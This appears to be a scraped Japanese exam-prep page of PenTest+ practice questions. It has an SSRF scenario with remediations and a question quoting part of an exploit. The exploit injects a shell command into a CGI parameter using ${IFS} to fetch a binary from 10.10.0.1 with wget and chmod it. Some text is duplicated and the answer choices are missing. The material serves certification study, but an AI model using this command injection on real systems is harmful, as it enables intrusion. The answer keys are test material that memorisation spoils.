PT0-002日本語 無料問題集「CompTIA PenTest+ Certification (PT0-002日本語版)」
侵入テスターは、クライアントの Web アプリケーションに対して複数の Nmap スキャンを実行します。
説明書
WAF とサーバーをクリックして、Nmap スキャンの結果を確認します。次に、各タブをクリックして、適切な脆弱性と修復オプションを選択します。
いつでもシミュレーションの初期状態に戻したい場合は、「すべてリセット」ボタンをクリックしてください。
説明書
WAF とサーバーをクリックして、Nmap スキャンの結果を確認します。次に、各タブをクリックして、適切な脆弱性と修復オプションを選択します。
いつでもシミュレーションの初期状態に戻したい場合は、「すべてリセット」ボタンをクリックしてください。
正解：
See the explanation part for detailed solution.
Explanation:
Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.
The scenario suggests that the CDN network (with a WAF) can be used to perform a Server-Side Request Forgery (SSRF) attack. Since the penetration tester has the pentester workstation interacting through the CDN/WAF and the production network is behind it, the most plausible attack vector is to exploit SSRF to interact with the internal services like App01.example.com.
Two best remediation options:
* Restrict direct communications to App01.example.com to only approved components.
* Require an additional authentication header value between CDN.example.com and App01.example.com.
* Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.
* Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.
Nmap Scan Observations:
* CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.
* App Server has open ports for HTTP, HTTPS, and filtered for MySQL.
* DB Server has all ports filtered, typical for a database server that should not be directly accessible.
These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.
Explanation:
Most likely vulnerability: Perform a SSRF attack against App01.example.com from CDN.example.com.
The scenario suggests that the CDN network (with a WAF) can be used to perform a Server-Side Request Forgery (SSRF) attack. Since the penetration tester has the pentester workstation interacting through the CDN/WAF and the production network is behind it, the most plausible attack vector is to exploit SSRF to interact with the internal services like App01.example.com.
Two best remediation options:
* Restrict direct communications to App01.example.com to only approved components.
* Require an additional authentication header value between CDN.example.com and App01.example.com.
* Restrict direct communications to App01.example.com to only approved components: This limits the exposure of the application server by ensuring that only specified, trusted entities can communicate with it.
* Require an additional authentication header value between CDN.example.com and App01.example.com: Adding an authentication layer between the CDN and the app server helps ensure that requests are legitimate and originate from trusted sources, mitigating SSRF and other indirect attack vectors.
Nmap Scan Observations:
* CDN/WAF shows open ports for HTTP and HTTPS but filtered for MySQL, indicating it acts as a filtering layer.
* App Server has open ports for HTTP, HTTPS, and filtered for MySQL.
* DB Server has all ports filtered, typical for a database server that should not be directly accessible.
These findings align with the SSRF vulnerability and the appropriate remediation steps to enhance the security of internal communications.
侵入テスターは、エクスプロイトを使用してシステムにアクセスすることができました。以下は、使用されたコードの一部です。
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS
&loginUser=a&Pwd=a"
exploit += "HTTP/1.1"
侵入テスターは、エンゲージメント後に次のコマンドのうちどれを実行する必要がありますか?
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS
&loginUser=a&Pwd=a"
exploit += "HTTP/1.1"
侵入テスターは、エンゲージメント後に次のコマンドのうちどれを実行する必要がありますか?
正解：A
解答を投票する
解説: (JPNTest メンバーにのみ表示されます)
